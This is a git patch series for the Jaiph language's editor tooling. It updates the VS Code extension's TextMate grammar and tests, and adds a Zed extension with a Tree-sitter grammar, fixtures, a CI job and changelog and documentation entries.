"variable.other.jaiph" }, + "3": { "name": "keyword.control.loop.jaiph" }, + "4": { "name": "variable.other.jaiph" } + } + } + ] + }, + "channels": { "patterns": [ { @@ -847,15 +864,15 @@ }, { "name": "keyword.control.command.jaiph", - "match": "\\b(ensure|run|prompt|log|logerr|recover|fail|return|wait)\\b" + "match": "\\b(ensure|run|prompt|log|logerr|logwarn|recover|catch|fail|return)\\b" }, { "name": "keyword.control.test.jaiph", - "match": "\\b(mock|respond|allow_failure)\\b" + "match": "\\b(mock|allow_failure)\\b" }, { "name": "keyword.other.assertion.jaiph", - "match": "\\b(expectContain|expectNotContain|expectEqual)\\b" + "match": "\\b(expect_contain|expect_not_contain|expect_equal)\\b" }, { "name": "storage.modifier.jaiph", diff --git a/plugins/vscode/test/compile.test.ts b/plugins/vscode/test/compile.test.ts new file mode 100644 index 00000000..c2ef6bf5 --- /dev/null +++ b/plugins/vscode/test/compile.test.ts @@ -0,0 +1,89 @@ +import { test, before } from "node:test"; +import assert from "node:assert/strict"; +import * as fs from "fs"; +import * as os from "os"; +import * as path from "path"; +import { runCompile, isMissingBinaryError, missingBinaryMessage } from "../src/compile"; + +// These tests run the REAL monorepo `jaiph` CLI so they break if the +// `jaiph compile --json` contract (JSON array of {file,line,col,code,message} +// on stdout, non-zero exit on errors) ever changes. +const PLUGIN_ROOT = path.join(__dirname, "..", ".."); +const REPO_ROOT = path.join(PLUGIN_ROOT, "..", ".."); +const CLI = path.join(REPO_ROOT, "dist", "src", "cli.js"); +const FIXTURES = path.join(PLUGIN_ROOT, "test", "fixtures"); + +let shim: string; + +before(() => { + assert.ok( + fs.existsSync(CLI), + `built CLI not found at ${CLI}; run \`npm run build\` at the repo root first`, + ); + // A tiny executable that dispatches into the built CLI's runCli(), so the + // extension's execFile(compilerPath, ["compile", ...]) path is exercised + // exactly as it runs against a real `jaiph` binary. + shim = path.join(fs.mkdtempSync(path.join(os.tmpdir(), "jaiph-shim-")), "jaiph"); + fs.writeFileSync(shim, `#!/usr/bin/env node\nrequire(${JSON.stringify(CLI)}).runCli(process.argv);\n`); + fs.chmodSync(shim, 0o755); +}); + +test("happy path: a valid .jh file yields zero diagnostics", async () => { + const result = await runCompile({ + compilerPath: shim, + filePath: path.join(FIXTURES, "valid.jh"), + usingDefaultPath: true, + }); + assert.equal(result.kind, "ok"); + if (result.kind === "ok") assert.equal(result.diagnostics.length, 0); +}); + +test("error path: an invalid .jh file yields a diagnostic in the CLI's JSON shape", async () => { + const result = await runCompile({ + compilerPath: shim, + filePath: path.join(FIXTURES, "invalid.jh"), + usingDefaultPath: true, + }); + assert.equal(result.kind, "ok"); + if (result.kind !== "ok") return; + assert.ok(result.diagnostics.length >= 1, "expected at least one diagnostic"); + const d = result.diagnostics[0]; + assert.equal(typeof d.file, "string"); + assert.equal(typeof d.line, "number"); + assert.equal(typeof d.col, "number"); + assert.match(d.code, /^E_/); + assert.equal(typeof d.message, "string"); + assert.ok(d.file.endsWith("invalid.jh")); +}); + +test("missing binary (default path) reports a clear configuration error", async () => { + const result = await runCompile({ + compilerPath: "jaiph-does-not-exist-xyz", + filePath: path.join(FIXTURES, "valid.jh"), + usingDefaultPath: true, + }); + assert.equal(result.kind, "config-error"); + if (result.kind === "config-error") { + assert.match(result.message, /not found on PATH/); + assert.match(result.message, /jaiph\.compilerPath/); + } +}); + +test("missing binary (configured path) names the bad path", async () => { + const bad = "/nonexistent/bin/jaiph"; + const result = await runCompile({ + compilerPath: bad, + filePath: path.join(FIXTURES, "valid.jh"), + usingDefaultPath: false, + }); + assert.equal(result.kind, "config-error"); + if (result.kind === "config-error") assert.ok(result.message.includes(bad)); +}); + +test("isMissingBinaryError classifies spawn failures, not exit codes", () => { + assert.equal(isMissingBinaryError({ name: "", message: "", code: "ENOENT" }), true); + assert.equal(isMissingBinaryError({ name: "", message: "", code: "EACCES" }), true); + assert.equal(isMissingBinaryError({ name: "", message: "", code: 1 }), false); + assert.equal(isMissingBinaryError(null), false); + assert.match(missingBinaryMessage("jaiph", true), /not found on PATH/); +}); diff --git a/plugins/vscode/test/fixtures/current.jh b/plugins/vscode/test/fixtures/current.jh new file mode 100644 index 00000000..2f8ced5d --- /dev/null +++ b/plugins/vscode/test/fixtures/current.jh @@ -0,0 +1,66 @@ +#!/usr/bin/env jaiph +# Grammar fixture: exercises the current .jh language surface. + +import "helpers.jh" as helpers + +config { + agent.backend = "claude" + agent.model = "claude-opus" + run.recover_limit = 3 + runtime.docker_timeout_seconds = 600 + module.name = "sample" +} + +const REPO = "my-project" + +channel alerts +channel findings -> handler + +script setup_env = ```bash +mkdir -p out +``` + +rule check_deps(path) { + run setup_env() + return "${path}" +} + +export workflow default(task) { + const status = run setup_env() + + if status == "ok" { + log "ready" + } else if status =~ /warn/ { + logwarn "degraded" + } else { + logerr "failed" + } + + for item in status { + log item + } + + ensure check_deps("package.json") catch (failure) { + fail "deps missing" + } + + run setup_env() recover (err) { + logwarn "retrying" + } + + run async helpers.scan() + + const answer = prompt "Summarize ${task}" returns "{ risk: string }" + log "risk: ${answer.risk}" + + alerts <- "started" + findings <- run setup_env() + + const label = match status { + "ok" => "pass" + /err/ => "error" + _ => "unknown" + } + + return "${label}" +} diff --git a/plugins/vscode/test/fixtures/current.test.jh b/plugins/vscode/test/fixtures/current.test.jh new file mode 100644 index 00000000..4157d020 --- /dev/null +++ b/plugins/vscode/test/fixtures/current.test.jh @@ -0,0 +1,11 @@ +# Grammar fixture: current *.test.jh test-block surface. + +test "happy path" { + mock prompt "canned answer" + + const response = run helpers.default() allow_failure + + expect_contain response "canned answer" + expect_not_contain response "error" + expect_equal response "canned answer" +} diff --git a/plugins/vscode/test/fixtures/invalid.jh b/plugins/vscode/test/fixtures/invalid.jh new file mode 100644 index 00000000..1b30194b --- /dev/null +++ b/plugins/vscode/test/fixtures/invalid.jh @@ -0,0 +1,3 @@ +workflow default() { + run nonexistent_reference() +} diff --git a/plugins/vscode/test/fixtures/regression.jh b/plugins/vscode/test/fixtures/regression.jh new file mode 100644 index 00000000..17ded228 --- /dev/null +++ b/plugins/vscode/test/fixtures/regression.jh @@ -0,0 +1,11 @@ +# Regression fixture for stale surface the old extension assumed. +# The grammar test asserts NONE of these get their old (wrong) scopes. +config { + agent.default_model = "old-key" + runtime.docker_enabled = true +} + +workflow default() { + # `wait` was removed from the language (E_PARSE). Not a command keyword. + wait for_something +} diff --git a/plugins/vscode/test/fixtures/valid.jh b/plugins/vscode/test/fixtures/valid.jh new file mode 100644 index 00000000..85a8ca28 --- /dev/null +++ b/plugins/vscode/test/fixtures/valid.jh @@ -0,0 +1,4 @@ +workflow default() { + log "hello" + return "done" +} diff --git a/plugins/vscode/test/grammar.test.ts b/plugins/vscode/test/grammar.test.ts new file mode 100644 index 00000000..2906f399 --- /dev/null +++ b/plugins/vscode/test/grammar.test.ts @@ -0,0 +1,81 @@ +import { test } from "node:test"; +import assert from "node:assert/strict"; +import { tokenizeFixture, hasScope } from "./tmgrammar"; + +// Each assertion pins a construct that exists in the CURRENT .jh grammar +// (docs/grammar.md + parser sources), so the test breaks if the shipped +// TextMate grammar drifts away from the language. + +test("current .jh constructs highlight with the expected scopes", async () => { + const t = await tokenizeFixture("current.jh"); + const expect: Array<[string, string]> = [ + // Definitions and modifiers + ["workflow", "storage.type.workflow.jaiph"], + ["rule", "storage.type.rule.jaiph"], + ["export", "storage.modifier.jaiph"], + ["script", "storage.type.script.jaiph"], + ["channel", "storage.type.channel.jaiph"], + // Command keywords (including ones the old extension never knew) + ["run", "keyword.control.command.jaiph"], + ["ensure", "keyword.control.command.jaiph"], + ["prompt", "keyword.control.command.jaiph"], + ["logwarn", "keyword.control.command.jaiph"], + ["catch", "keyword.control.command.jaiph"], + ["recover", "keyword.control.command.jaiph"], + ["fail", "keyword.control.command.jaiph"], + ["return", "keyword.control.command.jaiph"], + ["async", "keyword.control.async.jaiph"], + // Control flow + ["if", "keyword.control.conditional.jaiph"], + ["for", "keyword.control.loop.jaiph"], + ["in", "keyword.control.loop.jaiph"], + ["match", "keyword.control.match.jaiph"], + ["=>", "keyword.operator.arrow.jaiph"], + ["_", "constant.language.wildcard.jaiph"], + // Channels + ["<-", "keyword.operator.send.jaiph"], + ["->", "keyword.operator.route.jaiph"], + // Current config keys + ["agent.model", "variable.other.property.jaiph"], + ["run.recover_limit", "variable.other.property.jaiph"], + ["module.name", "variable.other.property.jaiph"], + // Prompt returns schema + ["returns", "keyword.control.returns.jaiph"], + ]; + for (const [text, scope] of expect) { + assert.ok(hasScope(t, text, scope), `expected "${text}" to have scope ${scope}`); + } +}); + +test("current *.test.jh test-block keywords highlight", async () => { + const t = await tokenizeFixture("current.test.jh"); + const expect: Array<[string, string]> = [ + ["test", "storage.type.test.jaiph"], + ["mock", "keyword.control.test.jaiph"], + ["allow_failure", "keyword.control.test.jaiph"], + ["expect_contain", "keyword.other.assertion.jaiph"], + ["expect_not_contain", "keyword.other.assertion.jaiph"], + ["expect_equal", "keyword.other.assertion.jaiph"], + ]; + for (const [text, scope] of expect) { + assert.ok(hasScope(t, text, scope), `expected "${text}" to have scope ${scope}`); + } +}); + +test("stale surface from the old extension is not highlighted", async () => { + // Regression: keys/keywords the old extension assumed no longer exist. If the + // grammar re-adds any of them, these fail. + const t = await tokenizeFixture("regression.jh"); + // `wait` was removed from the language (E_PARSE). + assert.ok( + !hasScope(t, "wait", "keyword.control.command.jaiph"), + "`wait` must not be scoped as a command keyword", + ); + // Stale config keys must not be scoped as config properties. + for (const stale of ["agent.default_model", "runtime.docker_enabled"]) { + assert.ok( + !hasScope(t, stale, "variable.other.property.jaiph"), + `stale config key ${stale} must not be scoped as a config property`, + ); + } +}); diff --git a/plugins/vscode/test/tmgrammar.ts b/plugins/vscode/test/tmgrammar.ts new file mode 100644 index 00000000..4809bcd4 --- /dev/null +++ b/plugins/vscode/test/tmgrammar.ts @@ -0,0 +1,65 @@ +// Minimal headless TextMate tokenizer used by the grammar tests. Loads the +// shipped jaiph.tmLanguage.json with vscode-textmate + vscode-oniguruma (the +// same engine VS Code uses) so scope assertions match real editor behaviour. +import * as fs from "fs"; +import * as path from "path"; +import * as oniguruma from "vscode-oniguruma"; +import * as vsctm from "vscode-textmate"; + +const ROOT = path.join(__dirname, "..", ".."); +const GRAMMAR_PATH = path.join(ROOT, "syntaxes", "jaiph.tmLanguage.json"); +const FIXTURES_DIR = path.join(ROOT, "test", "fixtures"); + +export interface Token { + text: string; + scopes: string[]; +} + +let grammarPromise: Promise | null = null; + +function loadGrammar(): Promise { + if (grammarPromise) return grammarPromise; + const wasm = fs.readFileSync(require.resolve("vscode-oniguruma/release/onig.wasm")); + const onigLib = oniguruma.loadWASM(wasm.buffer).then(() => ({ + createOnigScanner: (patterns: string[]) => new oniguruma.OnigScanner(patterns), + createOnigString: (s: string) => new oniguruma.OnigString(s), + })); + const registry = new vsctm.Registry({ + onigLib, + loadGrammar: async (scopeName: string) => { + if (scopeName === "source.jaiph") { + return vsctm.parseRawGrammar(fs.readFileSync(GRAMMAR_PATH, "utf8"), GRAMMAR_PATH); + } + // Embedded languages (python, shell, …) are not needed for jaiph-scope + // assertions; returning null lets textmate skip them gracefully. + return null; + }, + }); + grammarPromise = registry.loadGrammar("source.jaiph").then((g) => { + if (!g) throw new Error("failed to load source.jaiph grammar"); + return g; + }); + return grammarPromise; +} + +/** Tokenize a fixture file, returning one flat list of tokens across all lines. */ +export async function tokenizeFixture(fixtureName: string): Promise { + const grammar = await loadGrammar(); + const text = fs.readFileSync(path.join(FIXTURES_DIR, fixtureName), "utf8"); + const lines = text.split(/\r?\n/); + let ruleStack = vsctm.INITIAL; + const tokens: Token[] = []; + for (const line of lines) { + const result = grammar.tokenizeLine(line, ruleStack); + for (const t of result.tokens) { + tokens.push({ text: line.substring(t.startIndex, t.endIndex), scopes: t.scopes }); + } + ruleStack = result.ruleStack; + } + return tokens; +} + +/** True if any token whose trimmed text equals `text` carries `scope`. */ +export function hasScope(tokens: Token[], text: string, scope: string): boolean { + return tokens.some((t) => t.text.trim() === text && t.scopes.includes(scope)); +} diff --git a/plugins/vscode/tsconfig.test.json b/plugins/vscode/tsconfig.test.json new file mode 100644 index 00000000..53ea64a2 --- /dev/null +++ b/plugins/vscode/tsconfig.test.json @@ -0,0 +1,10 @@ +{ + "extends": "./tsconfig.json", + "compilerOptions": { + "rootDir": ".", + "outDir": "out-test", + "types": ["node"], + "sourceMap": false + }, + "include": ["src/compile.ts", "test/**/*.ts"] +} diff --git a/src/cli/shared/generation.ts b/src/cli/shared/generation.ts index 9f87c239..a5573753 100644 --- a/src/cli/shared/generation.ts +++ b/src/cli/shared/generation.ts @@ -243,25 +243,34 @@ function resolveHostRunsRoot(workspaceRoot: string, env: Record void, ): { rewatch: (files: string[]) => void; stop: () => void } { - let watched: string[] = []; + let watched = new Set(); return { rewatch(files: string[]): void { - for (const f of watched) unwatchFile(f, onChange); - watched = [...files]; - for (const f of watched) watchFile(f, { interval: intervalMs }, onChange); + const next = new Set(files); + for (const f of watched) if (!next.has(f)) unwatchFile(f, onChange); + for (const f of next) if (!watched.has(f)) watchFile(f, { interval: intervalMs }, onChange); + watched = next; }, stop(): void { for (const f of watched) unwatchFile(f, onChange); - watched = []; + watched = new Set(); }, }; } From 098adc1f838aaf0f8b2d56c3c107b3418550906d Mon Sep 17 00:00:00 2001 From: Jakub Dzikowski Date: Wed, 29 Jul 2026 12:00:07 +0200 Subject: [PATCH 22/24] Feat: add Zed language extension with Tree-sitter grammar MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Ship a real Zed language extension at plugins/zed/ for .jh / *.test.jh, backed by a new Tree-sitter grammar at grammars/tree-sitter-jaiph/ (Zed requires Tree-sitter, so the VS Code TextMate grammar cannot be reused). The extension highlights the current Jaiph surface — keywords, comments, double/triple-quoted strings, regex, config keys, channels, match arms, and test blocks — and injects embedded script bodies into their host language via injections.scm. extension.toml pins the grammar by repository + revision (with a file:// form for local dev), and the committed parser lets Zed build without tree-sitter generate. A path-filtered zed-plugin.yml CI job and a highlights query-check test drive the real Tree-sitter CLI against fixtures so a grammar or query regression fails the build. Docs cover the dev install, the marketplace path = "plugins/zed" publish path, and how the grammar is version-pinned; the plugins/QUEUE task is marked done. Co-Authored-By: Claude Opus 4.8 (1M context) --- .github/workflows/zed-plugin.yml | 33 + CHANGELOG.md | 2 + QUEUE.md | 17 - docs/contributing.md | 2 +- grammars/tree-sitter-jaiph/.gitignore | 4 + grammars/tree-sitter-jaiph/README.md | 37 + grammars/tree-sitter-jaiph/grammar.js | 92 + grammars/tree-sitter-jaiph/package.json | 20 + grammars/tree-sitter-jaiph/src/grammar.json | 492 ++++ .../tree-sitter-jaiph/src/node-types.json | 337 +++ grammars/tree-sitter-jaiph/src/parser.c | 2065 +++++++++++++++++ .../tree-sitter-jaiph/src/tree_sitter/alloc.h | 54 + .../tree-sitter-jaiph/src/tree_sitter/array.h | 291 +++ .../src/tree_sitter/parser.h | 266 +++ grammars/tree-sitter-jaiph/tree-sitter.json | 19 + plugins/README.md | 4 +- plugins/zed/.gitignore | 2 + plugins/zed/README.md | 88 +- plugins/zed/extension.toml | 20 + plugins/zed/languages/jaiph/config.toml | 13 + plugins/zed/languages/jaiph/highlights.scm | 42 + plugins/zed/languages/jaiph/injections.scm | 9 + plugins/zed/package.json | 18 + plugins/zed/test/fixtures/current.jh | 73 + plugins/zed/test/fixtures/current.test.jh | 11 + plugins/zed/test/fixtures/regression.jh | 7 + plugins/zed/test/highlights.test.mjs | 126 + 27 files changed, 4124 insertions(+), 20 deletions(-) create mode 100644 .github/workflows/zed-plugin.yml create mode 100644 grammars/tree-sitter-jaiph/.gitignore create mode 100644 grammars/tree-sitter-jaiph/README.md create mode 100644 grammars/tree-sitter-jaiph/grammar.js create mode 100644 grammars/tree-sitter-jaiph/package.json create mode 100644 grammars/tree-sitter-jaiph/src/grammar.json create mode 100644 grammars/tree-sitter-jaiph/src/node-types.json create mode 100644 grammars/tree-sitter-jaiph/src/parser.c create mode 100644 grammars/tree-sitter-jaiph/src/tree_sitter/alloc.h create mode 100644 grammars/tree-sitter-jaiph/src/tree_sitter/array.h create mode 100644 grammars/tree-sitter-jaiph/src/tree_sitter/parser.h create mode 100644 grammars/tree-sitter-jaiph/tree-sitter.json create mode 100644 plugins/zed/.gitignore create mode 100644 plugins/zed/extension.toml create mode 100644 plugins/zed/languages/jaiph/config.toml create mode 100644 plugins/zed/languages/jaiph/highlights.scm create mode 100644 plugins/zed/languages/jaiph/injections.scm create mode 100644 plugins/zed/package.json create mode 100644 plugins/zed/test/fixtures/current.jh create mode 100644 plugins/zed/test/fixtures/current.test.jh create mode 100644 plugins/zed/test/fixtures/regression.jh create mode 100644 plugins/zed/test/highlights.test.mjs diff --git a/.github/workflows/zed-plugin.yml b/.github/workflows/zed-plugin.yml new file mode 100644 index 00000000..36c393aa --- /dev/null +++ b/.github/workflows/zed-plugin.yml @@ -0,0 +1,33 @@ +name: Zed plugin + +# Path-filtered so core PRs do not rebuild the extension by default. Runs when +# the Zed extension tree or the Tree-sitter grammar it pins changes. +on: + push: + paths: + - "plugins/zed/**" + - "grammars/tree-sitter-jaiph/**" + - ".github/workflows/zed-plugin.yml" + +jobs: + zed-plugin: + name: Grammar generate & highlight query-check + runs-on: ubuntu-latest + steps: + - name: Checkout + uses: actions/checkout@v4 + + - name: Setup Node + uses: actions/setup-node@v4 + with: + node-version: "20" + + - name: Install plugin dependencies + run: npm install + working-directory: plugins/zed + + # Regenerates the grammar from grammar.js and query-checks the shipped + # highlights.scm / injections.scm against the fixtures. + - name: Grammar & highlight query-check + run: npm test + working-directory: plugins/zed diff --git a/CHANGELOG.md b/CHANGELOG.md index 381763ea..86d5840a 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -4,6 +4,8 @@ - **Refresh the VS Code extension for the current language:** the in-tree `plugins/vscode/` extension now highlights the current `.jh` / `*.test.jh` surface (`script`, `run async`, `catch` / `recover`, channels, `for … in`, `logwarn`, `expect_*`, `test` blocks), backs open/save diagnostics and formatting with the installed `jaiph` CLI (reporting a clear error when the binary is missing instead of failing silently), and ships an automated grammar + CLI-contract test suite gated by a path-filtered CI job. +- **Add a Zed extension:** `plugins/zed/` is a real Zed language extension for `.jh` / `*.test.jh`, backed by a new Tree-sitter grammar at `grammars/tree-sitter-jaiph/` (Zed requires Tree-sitter, so the VS Code TextMate grammar cannot be reused). It highlights the current Jaiph surface — keywords, comments, double/triple-quoted strings, regex, config keys, channels (`->` / `<-`), `match` arms, and `test` blocks — and injects embedded script bodies (```` ```bash ````, ```` ```python3 ````, …) into their host language. The grammar is pinned from `extension.toml` by repository + revision (with a `file://` form for local dev), and a path-filtered CI job regenerates the grammar and query-checks the shipped highlight/injection queries against fixtures so a grammar or query regression fails the build. + - **Serve workflows over HTTP (and MCP over the same port):** run `jaiph serve ./tools.jh` to expose a file's workflows as an HTTP API with a generated OpenAPI 3.1 document and a browser Swagger UI at `/docs`, **and** as MCP Streamable HTTP at `POST /mcp` — one process, one workflow generation, one authentication boundary, and one run registry for REST and MCP clients alike. A CI job, a Kubernetes deployment, a browser, or a remote MCP agent can invoke the same tested workflows and inspect their runs; `jaiph mcp` remains the stdio sibling for co-located clients. Production authentication is either a static single-operator bearer token or standard OIDC/JWT (issuer + audience + JWKS discovery) with per-user identity and separate `invoke` / `inspect` / `cancel` scope authorization, and every run is audit-attributed to its authenticated principal and correlation id (in run metadata, logs, OTLP, and Sentry — never a token). A concurrency cap, per-run output caps, bounded run retention, and the same durable `.jaiph/runs/` records as `jaiph run` are built in, so a long-lived service stays within a bounded memory footprint. Runs are restart-safe and retry-safe: each run's public record is persisted beside its journal and reconstructed on startup (so list/get/events/artifacts keep working across a restart, and a run caught mid-flight by a process death is reconciled to an explicit `interrupted` state, never left reported as permanently running), and an optional `Idempotency-Key` on run creation makes client retries return the original run instead of spawning a duplicate. It is a **single-replica** service by design — the run registry, concurrency cap, and idempotency index are per-process — so scale it vertically, not by adding replicas. - **Export traces to an OTLP collector:** every run mode now exports one OpenTelemetry span tree (workflow → steps → prompts) to any OTLP/HTTP collector — a local `otel-collector`, Grafana Tempo, Honeycomb, Datadog — enabled by the standard `OTEL_EXPORTER_OTLP_ENDPOINT`. A standard `jaiph run`, a standalone `jaiph run --raw`, and workflows invoked through `jaiph mcp` / `jaiph serve` are all covered (a Docker-sandboxed run is still exported exactly once by the host). Export is host-side and end-of-run (it reads the run's already credential-redacted `run_summary.jsonl`), adds no runtime dependencies, and is never load-bearing: the OTLP and Sentry exporters run concurrently under one bounded flush budget (`JAIPH_TELEMETRY_FLUSH_MS`, default 10 s), and on long-lived `jaiph serve` / `jaiph mcp` processes delivery is detached so an unreachable backend can never delay a terminal result or hold an execution slot — an erroring collector produces one (bounded) stderr warning and leaves the run's exit code, output, and journal untouched. diff --git a/QUEUE.md b/QUEUE.md index 4dfcd153..c6f40dbc 100644 --- a/QUEUE.md +++ b/QUEUE.md @@ -14,23 +14,6 @@ Process rules: *** -## Add a Zed language extension under `plugins/zed` #dev-ready - -Zed has no Jaiph support. Zed language extensions require Tree-sitter (not TextMate), so VS Code grammars cannot be reused as-is. An empty `plugins/zed/` placeholder exists; ship a real extension there. - -Scope: - -- Create a Zed extension at `plugins/zed/` with `extension.toml` and `languages/jaiph/` (`.jh` / `*.test.jh` suffixes, comment/bracket config, highlights queries). -- Provide a Tree-sitter grammar for Jaiph (new tree under this repo, e.g. `grammars/tree-sitter-jaiph/`, unless an existing grammar already exists — do not invent a second grammar home). Pin it from `extension.toml` by repository + revision (or `file://` for local dev). -- Cover the same current-language construct set as the VS Code task (keywords, blocks, comments, strings, embedded script regions as far as Tree-sitter queries reasonably allow). -- Document local install (Zed "Install Dev Extension" pointing at `plugins/zed`) and the marketplace path (`path = "plugins/zed"` when publishing to `zed-industries/extensions`). - -Acceptance: - -- A Zed fixture `.jh` file for current constructs receives highlighting tokens for keywords, comments, and strings; a test or query-check fails if those queries regress. -- `extension.toml` builds/loads as a Zed extension from `plugins/zed/` without requiring files outside that tree except the pinned grammar. -- Docs state how to install from this monorepo path and how the grammar is version-pinned. - ## Add `actions/setup-jaiph` for CI installs #dev-ready Other repositories need a one-step way to install a pinned Jaiph CLI in GitHub Actions. A placeholder exists at `actions/setup-jaiph/`; ship a reusable composite (or JS) action there. diff --git a/docs/contributing.md b/docs/contributing.md index cd6abed3..624fe73a 100644 --- a/docs/contributing.md +++ b/docs/contributing.md @@ -222,7 +222,7 @@ Pushing a **`v*`** tag triggers two things in this repo: Pushes to the **`nightly`** branch follow the same matrix and upload to a **rolling prerelease** tagged `nightly` (`gh release upload nightly --clobber`), so `jaiph use nightly` keeps working under the binary installer. -Pushing a **`v*`** ref does **not** run any npm publish step from this repository — `.github/workflows/` contains `ci.yml` (push CI), `release.yml` (standalone binaries; see above), and `nightly-engineer.yml` (optional manual engineer run), and **none publishes to npm**. If you are preparing a release that includes the **npm** package, coordinate version bumps, registry publish, and smoke checks with the maintainers — that flow is intentionally outside this repo's workflows. +Pushing a **`v*`** ref does **not** run any npm publish step from this repository — `.github/workflows/` contains `ci.yml` (push CI), `release.yml` (standalone binaries; see above), `nightly-engineer.yml` (optional manual engineer run), and the path-filtered editor-plugin jobs `vscode-plugin.yml` and `zed-plugin.yml` (each builds and tests its extension under `plugins/` only when that extension's tree changes), and **none publishes to npm**. If you are preparing a release that includes the **npm** package, coordinate version bumps, registry publish, and smoke checks with the maintainers — that flow is intentionally outside this repo's workflows. #### Release asset naming contract diff --git a/grammars/tree-sitter-jaiph/.gitignore b/grammars/tree-sitter-jaiph/.gitignore new file mode 100644 index 00000000..d6891d9f --- /dev/null +++ b/grammars/tree-sitter-jaiph/.gitignore @@ -0,0 +1,4 @@ +node_modules/ +package-lock.json +*.wasm +build/ diff --git a/grammars/tree-sitter-jaiph/README.md b/grammars/tree-sitter-jaiph/README.md new file mode 100644 index 00000000..27daaa6a --- /dev/null +++ b/grammars/tree-sitter-jaiph/README.md @@ -0,0 +1,37 @@ +# tree-sitter-jaiph + +Tree-sitter grammar for the [Jaiph](https://jaiph.org) orchestration language +(`.jh` / `*.test.jh`). It powers the Zed extension in +[`../../plugins/zed`](../../plugins/zed) and can back any Tree-sitter host +(Neovim, Helix, …). + +This is a **token-oriented grammar** built for editor highlighting and language +injection, not a full semantic parser — the authoritative Jaiph parser is the +TypeScript compiler under [`../../src`](../../src). `source_file` is a flat +stream of tokens (keywords, strings, comments, operators, identifiers, fenced +script blocks). Keeping it loose means it never fails to tokenize a valid Jaiph +file, and avoids maintaining a second grammar that could drift from the compiler. + +## Layout + +- `grammar.js` — the grammar definition (the source of truth). +- `src/` — generated parser (`parser.c`, `grammar.json`, `node-types.json`). + **Committed** so Tree-sitter hosts (including Zed) can build the grammar + without running `tree-sitter generate`. + +## Regenerating + +After editing `grammar.js`: + +```bash +npm install # installs tree-sitter-cli +npm run generate # regenerates src/ from grammar.js +``` + +Commit the regenerated `src/` alongside the `grammar.js` change. + +## Highlight queries + +The highlight / injection queries live with the editor that consumes them — +see [`../../plugins/zed/languages/jaiph/`](../../plugins/zed/languages/jaiph). +The Zed plugin's test suite exercises those queries against this grammar. diff --git a/grammars/tree-sitter-jaiph/grammar.js b/grammars/tree-sitter-jaiph/grammar.js new file mode 100644 index 00000000..fdf5a5a4 --- /dev/null +++ b/grammars/tree-sitter-jaiph/grammar.js @@ -0,0 +1,92 @@ +/// + +// Tree-sitter grammar for Jaiph (.jh / *.test.jh). +// +// This is a token-oriented ("lexer-style") grammar: `source_file` is a flat +// repeat of tokens rather than a full syntactic parse of every statement form. +// That is deliberate and matches what editor highlighting needs — Zed drives +// syntax highlighting and language injection from queries against the token +// stream, not from a semantic tree. The single source of truth for Jaiph +// semantics is the TypeScript compiler under `src/`; duplicating its full +// grammar here would be a second, drift-prone parser. Keeping this loose makes +// the grammar robust (it never fails to tokenize a valid file) while still +// giving distinct nodes for every construct the highlight queries care about. +// +// Keyword literals are extracted from `identifier` via the `word` directive, so +// e.g. `run` is only a keyword when it stands alone, never inside `runner`. +// Dotted names (`agent.model`, `helpers.scan`) tokenize as `qualified_identifier` +// so a leading segment like `run` in `run.recover_limit` is not mis-highlighted +// as the `run` command keyword. + +module.exports = grammar({ + name: "jaiph", + word: ($) => $.identifier, + extras: ($) => [/\s/], + rules: { + source_file: ($) => repeat($._token), + + _token: ($) => + choice( + $.comment, + $.triple_string, + $.string, + $.fenced_block, + $.backtick_string, + $.regex, + $.number, + $.qualified_identifier, + // declaration keywords + "import", "export", "as", "config", "channel", "script", + "rule", "workflow", "test", + // command keywords + "const", "run", "ensure", "prompt", "log", "logerr", "logwarn", + "fail", "return", "send", "recover", "catch", + // control keywords + "if", "else", "for", "in", "match", "async", "returns", "not", + // test-block keywords + "mock", "allow_failure", + "expect_contain", "expect_not_contain", "expect_equal", + // constants + "true", "false", + // operators / punctuation + $.operator, + "{", "}", "(", ")", "[", "]", ".", ",", + $.identifier, + ), + + comment: ($) => token(/#.*/), + + operator: ($) => choice("<-", "->", "=>", "==", "!=", "=~", "!~", "="), + + number: ($) => token(/[0-9]+/), + + identifier: ($) => token(/[A-Za-z_][A-Za-z0-9_]*/), + + qualified_identifier: ($) => + token(/[A-Za-z_][A-Za-z0-9_]*(\.[A-Za-z_][A-Za-z0-9_]*)+/), + + regex: ($) => token(seq("/", /[^/\n]+/, "/")), + + string: ($) => token(seq('"', repeat(choice(/[^"\\]/, /\\./)), '"')), + + triple_string: ($) => + token(seq('"""', repeat(choice(/[^"]/, /"[^"]/, /""[^"]/)), '"""')), + + backtick_string: ($) => token(seq("`", /[^`]*/, "`")), + + // Fenced script / inline-script body: ```lang ... ``` . The optional + // language tag drives injection (see injections.scm); the body is aliased + // to `embedded` so a query can hand it to another grammar. + fenced_block: ($) => + seq( + "```", + optional(field("language", alias($.fence_language, $.language))), + optional(field("body", alias($.fence_content, $.embedded))), + "```", + ), + + fence_language: ($) => token.immediate(/[A-Za-z0-9_]+/), + + fence_content: ($) => token(prec(-1, /([^`]|`[^`]|``[^`])+/)), + }, +}); diff --git a/grammars/tree-sitter-jaiph/package.json b/grammars/tree-sitter-jaiph/package.json new file mode 100644 index 00000000..b04dadc4 --- /dev/null +++ b/grammars/tree-sitter-jaiph/package.json @@ -0,0 +1,20 @@ +{ + "name": "tree-sitter-jaiph", + "version": "0.1.0", + "description": "Tree-sitter grammar for the Jaiph orchestration language (.jh / *.test.jh)", + "license": "MIT", + "homepage": "https://jaiph.org", + "repository": { + "type": "git", + "url": "https://github.com/jaiphlang/jaiph.git", + "directory": "grammars/tree-sitter-jaiph" + }, + "keywords": ["tree-sitter", "jaiph", "parser"], + "files": ["grammar.js", "tree-sitter.json", "src"], + "scripts": { + "generate": "tree-sitter generate" + }, + "devDependencies": { + "tree-sitter-cli": "^0.24.0" + } +} diff --git a/grammars/tree-sitter-jaiph/src/grammar.json b/grammars/tree-sitter-jaiph/src/grammar.json new file mode 100644 index 00000000..efd99007 --- /dev/null +++ b/grammars/tree-sitter-jaiph/src/grammar.json @@ -0,0 +1,492 @@ +{ + "$schema": "https://tree-sitter.github.io/tree-sitter/assets/schemas/grammar.schema.json", + "name": "jaiph", + "word": "identifier", + "rules": { + "source_file": { + "type": "REPEAT", + "content": { + "type": "SYMBOL", + "name": "_token" + } + }, + "_token": { + "type": "CHOICE", + "members": [ + { + "type": "SYMBOL", + "name": "comment" + }, + { + "type": "SYMBOL", + "name": "triple_string" + }, + { + "type": "SYMBOL", + "name": "string" + }, + { + "type": "SYMBOL", + "name": "fenced_block" + }, + { + "type": "SYMBOL", + "name": "backtick_string" + }, + { + "type": 